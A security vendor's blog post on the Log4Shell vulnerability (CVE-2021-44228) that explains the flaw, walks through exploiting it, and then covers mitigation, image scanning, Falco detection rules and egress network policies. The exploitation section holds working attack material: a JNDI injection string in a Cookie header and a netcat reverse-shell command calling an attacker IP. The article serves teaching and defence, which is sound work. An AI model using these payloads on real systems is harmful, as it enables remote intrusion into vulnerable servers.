Exploiting, Mitigating, and Detecting CVE-2021-44228: Log4j Remote Code Execution (RCE)

By Stefano Chierici - DECEMBER 15, 2021

SHARE:

Log4j CVE exploit and mitigation

A new critical vulnerability has been found in log4j, a widely-used open-source utility used to generate logs inside java applications. The vulnerability CVE-2021-44228, also known as Log4Shell, permits a Remote Code Execution (RCE), allowing the attackers to execute arbitrary code on the host.

The log4j utility is popular and is used by a huge number of applications and companies, including the famous game Minecraft. It is also used in various Apache frameworks like Struts2, Kafka, Druid, Flink, and many commercial products.

CVE-2021-44228 affects log4j versions: 2.0-beta9 to 2.14.1. Version 2.15.0 has been released to address this issue and fix the vulnerability, but 2.16.0 version is vulnerable to Denial of Service.

UPDATE: We strongly recommend updating to 2.17.0 at the time of the release of this article because the severity of CVE-2021-45046 change from low to HIGH.

In this article, you’ll understand why the affected utility is so popular, the vulnerability’s nature, and how its exploitation can be detected and mitigated.

See our video on the Log4Shell vulnerability timeline and how it played out.

Preliminary

Log4j is a reliable, fast, flexible, and popular logging framework (APIs) written in Java. It is distributed under the Apache Software License. Log4j has also been ported to other programming languages, like C, C++, C#, Perl, Python, Ruby, and so on.

The log4j library was hit by the CVE-2021-44228 first, which is the high impact one. After the 2.15.0 version was released to fix the vulnerability, the new CVE-2021-45046 was released.

The new vulnerability CVE-2021-45046 hits the new version and permits a Denial of Service (DoS) attack due to a shortcoming of the previous patch, but it has been rated now a high severity. The latest release 2.17.0 fixed the new CVE-2021-45105.

The CVE-2021-44228 issue

The Java Naming and Directory Interface (JNDI) provides an API for java applications, which can be used for binding remote objects, looking up or querying objects, as well as detecting changes on the same objects.

While JNDI supports a number of naming and directory services, and the vulnerability can be exploited in many different ways, we will focus our attention on LDAP.

By using JNDI with LDAP, the URL ldap://localhost:3xx/o is able to retrieve a remote object from an LDAP server running on the local machine or an attacker-controlled remote server.

Default JNDI implementation

As implemented, the default key will be prefixed with java:comp/env/. However, if the key contains a “:”, no prefix will be added. In our case, if we pass the LDAP string reported before ldap://localhost:3xx/o, no prefix would be added, and the LDAP server is queried to retrieve the object.

In other words, what an attacker can do is find some input that gets directly logged and evaluate the input, like ${jndi:ldap://attackerserver.com.com/x}. This allows the attacker to retrieve the object from the remote LDAP server they control and execute the code.

The entry point could be a HTTP header like User-Agent, which is usually logged. It could also be a form parameter, like username/request object, that might also be logged in the same way.

The impact of CVE-2021-44228

The impact of this vulnerability is huge due to the broad adoption of this Log4j library. If you have some java applications in your environment, they are most likely using Log4j to log internal events.

The exploitation is also fairly flexible, letting you retrieve and execute arbitrary code from local to remote LDAP servers and other protocols.

All these factors and the high impact to so many systems give this vulnerability a CRITICAL severity rating of CVSS3 10.0. The fact that the vulnerability is being actively exploited further increases the risk for affected organizations.

To learn more about how a vulnerability score is calculated, Are Vulnerability Scores Tricking You? Understanding the severity of CVSS and using them effectively

Exploiting CVE-2021-44228 step-by-step

The vulnerability permits us to retrieve an object from a remote or local machine and execute arbitrary code on the vulnerable application.

Attacker exploits JNDI

Before starting the exploitation, the attacker needs to control an LDAP server where there is an object file containing the code they want to download and execute. Since these attacks in Java applications are being widely explored, we can use the Github project JNDI-Injection-Exploit to spin up an LDAP Server.

In this case, we run it in an EC2 instance, which would be controlled by the attacker. Using the netcat (nc) command, we can open a reverse shell connection with the vulnerable application.

Here is an example command line:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "nc 54.243.12.192 8083 -e /bin/sh" -A "54.243.12.192"
Java App Vulnerable with Log4j

The LDAP server hosts the specified URL to use and retrieve the malicious code with the reverse shell command.

The web application we have deployed for the real scenario is using a vulnerable log4j version, and it’s logging the content of the User-Agent, Cookies, and X-Api-Server.

The web application we used can be downloaded here.

Vulnerable application running

The vulnerable web server is running using a docker container on port 8080. By leveraging Burp Suite, we can craft the request payload through the URL hosted on the LDAP Server. Let’s try to inject the cookie attribute and see if we are able to open a reverse shell on the vulnerable machine.

GET / HTTP/1.1
Host: 	:8080
sec-ch-ua: "Chromium";v="91", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
X-Api-Version: aaa
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: test='${jndi:ldap://54.243.12.192:1389/0z6aep}'
Connection: close

Above is the HTTP request we are sending, modified by Burp Suite. The Cookie parameter is added with the log4j attack string.

Before sending the crafted request, we need to set up the reverse shell connection using the netcat (nc) command to listen on port 8083.

nc -lvp 8083

We can now send the crafted request, seeing that the LDAP Server received the call from the application and the JettyServer provided the remote class that contains the nc command for the reverse shell.

Attacker awaits victim's connection

We can see on the attacking machine that we successfully opened a connection with the vulnerable application.

Attacker's machine with a remote shell

Now, we have the ability to interact with the machine and execute arbitrary code.

The attacker could use the same process with other HTTP attributes to exploit the vulnerability and open a reverse shell with the attacking machine. Imagine how easy it is to automate this exploit and send the exploit to every exposed application with log4j running.

Mitigating CVE-2021-44228

If you’re impacted by this CVE, you should update the application to the newest version, or at least to the 2.17.0 version, immediately. If that isn’t possible in your environment, you can evaluate three options:

  • If you are using Log4j v2.10 or above, you can set the property: log4j2.formatMsgNoLookups=true
  • An environment variable can be set for these same affected versions: LOG4J_FORMAT_MSG_NO_LOOKUPS=true
  • If the version is older, remove the JndiLookup class from the log4j-core on the filesystem.

Even though you might have already upgraded your library or applied one of the other mitigations on containers affected by the vulnerability, you need to detect any exploitation attempts and post-breach activities in your environment.

You can detect this vulnerability at three different phases of the application lifecycle:

Let’s now dig deeper into each of them.

1. Build: Image Scanner

Using an image scanner, a software composition analysis (SCA) tool, you can analyze the contents and the build process of a container image in order to detect security issues, vulnerabilities, or bad practices.

In the report results, you can search if the specific CVE has been detected in any images already deployed in your environment.

In this case, we can see that CVE-2021-44228 affects one specific image which uses the vulnerable version 2.12.1.

Sysdig scan log4j CVE

2. Deploy: Image scanner on admission controller

Implementing image scanning on the admission controller, it is possible to admit only the workload images that are compliant with the scanning policy to run in the cluster.

Image scanner on admission controller

This component is able to reject images based on names, tags, namespaces, CVE severity level, and so on, using different criteria.

Creating and assigning a policy for this specific CVE, the admission controller will evaluate new deployment images, blocking deployment if this security issue is detected.

3. Run and Response: Event Detection

Using a Runtime detection engine tool like Falco, you can detect attacks that occur in runtime when your containers are already in production.

Let’s assume that the attacker exploits this specific vulnerability and wants to open a reverse shell on the pod. In this case, the Falco runtime policies in place will detect the malicious behavior and raise a security alert. You can also check out our previous blog post regarding reverse shell.

Here is a reverse shell rule example. To avoid false positives, you can add exceptions in the condition to better adapt to your environment.

- rule: Reverse shell
  desc: Detect reverse shell established remote connection
  condition: evt.type=dup and container and fd.num in (0, 1, 2) and fd.type in ("ipv4", "ipv6")
  output: >
    Reverse shell connection (user=%user.name %container.info process=%proc.name parent=%proc.pname cmdline=%proc.cmdline terminal=%proc.tty container_id=%container.id image=%container.image.repository fd.name=%fd.name fd.num=%fd.num fd.type=%fd.type fd.sip=%fd.sip)
  priority: WARNING
  tags: [container, shell, mitre_execution]
  append: false

In addition to using Falco, you can detect further actions in the post-exploitation phase on pods or hosts. The use cases covered by the out-of-the-box ruleset in Falco are already substantial, but here we show those that might trigger in case an attacker uses network tools or tries to spawn a new shell.

- rule: Run shell untrusted
  desc: an attempt to spawn a shell below a non-shell application. Specific applications are monitored.
  condition: >
    spawned_process
    and shell_procs
    and proc.pname exists
    and protected_shell_spawner
    and not proc.pname in (shell_binaries, gitlab_binaries, cron_binaries, user_known_shell_spawn_binaries,
                           needrestart_binaries,
                           mesos_shell_binaries,
                           erl_child_setup, exechealthz,
                           PM2, PassengerWatchd, c_rehash, svlogd, logrotate, hhvm, serf,
                           lb-controller, nvidia-installe, runsv, statsite, erlexec, calico-node,
                           "puma reactor")
    and not proc.cmdline in (known_shell_spawn_cmdlines)
    and not proc.aname in (unicorn_launche)
    and not consul_running_net_scripts
    and not consul_running_alert_checks
    and not nginx_starting_nginx
    and not nginx_running_aws_s3_cp
    and not run_by_package_mgmt_binaries
    and not serf_script
    and not check_process_status
    and not run_by_foreman
    and not python_mesos_marathon_scripting
    and not splunk_running_forwarder
    and not postgres_running_wal_e
    and not redis_running_prepost_scripts
    and not rabbitmq_running_scripts
    and not rabbitmqctl_running_scripts
    and not run_by_appdynamics
    and not user_shell_container_exclusions
  output: >
    Shell spawned by untrusted binary (user=%user.name user_loginuid=%user.loginuid shell=%proc.name parent=%proc.pname
    cmdline=%proc.cmdline pcmdline=%proc.pcmdline gparent=%proc.aname[2] ggparent=%proc.aname[3]
    aname[4]=%proc.aname[4] aname[5]=%proc.aname[5] aname[6]=%proc.aname[6] aname[7]=%proc.aname[7] container_id=%container.id image=%container.image.repository)
  priority: DEBUG
  tags: [shell, mitre_execution]
- rule: Launch Suspicious Network Tool in Container
  desc: Detect network tools launched inside container
  condition: >
    spawned_process and container and network_tool_procs and not user_known_network_tool_activities
  output: >
    Network tool launched in container (user=%user.name user_loginuid=%user.loginuid command=%proc.cmdline parent_process=%proc.pname
    container_id=%container.id container_name=%container.name image=%container.image.repository:%container.image.tag)
  priority: NOTICE
  tags: [network, process, mitre_discovery, mitre_exfiltration]
- rule: Launch Remote File Copy Tools in Container
  desc: Detect remote file copy tools launched in container
  condition: >
    spawned_process
    and container
    and remote_file_copy_procs
    and not user_known_remote_file_copy_activities
  output: >
    Remote file copy tool launched in container (user=%user.name user_loginuid=%user.loginuid command=%proc.cmdline parent_process=%proc.pname
    container_id=%container.id container_name=%container.name image=%container.image.repository:%container.image.tag)
  priority: NOTICE
  tags: [network, process, mitre_lateral_movement, mitre_exfiltration]

4. Restrict Network access

As we saw during the exploitation section, the attacker needs to download the malicious payload from a remote LDAP server.

From the network perspective, using K8s network policies, you can restrict egress traffic, thus blocking the connection to the external LDAP server.

Here is the network policy to block all the egress traffic for the specific namespace:

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: default-deny-egress
  namespace: log4j
spec:
  podSelector: {}
  policyTypes:
  - Egress

Using Sysdig Secure, you can use the Network Security feature to automatically generate the K8s network policy specifically for the vulnerable pod, as we described in our previous article.

Conclusion

The CVE-2021-44228 is a CRITICAL vulnerability that allows malicious users to execute arbitrary code on a machine or pod by using a bug found in the log4j library.

We recommend using an image scanner in several places in your container lifecycle and admission controller, like in your CI/CD pipelines, to prevent the attack, and using a runtime security tool to detect reverse shells.

These strategies together will allow your security team to react to attacks targeting this vulnerability, block them, and report on any affected running containers ahead of time.


At Sysdig Secure, we extend Falco with out-of-the-box rules along with other open source projects, making them even easier to work with and manage Kubernetes security. Register for our Free 30-day trial and see for yourself!

Subscribe and get the latest updates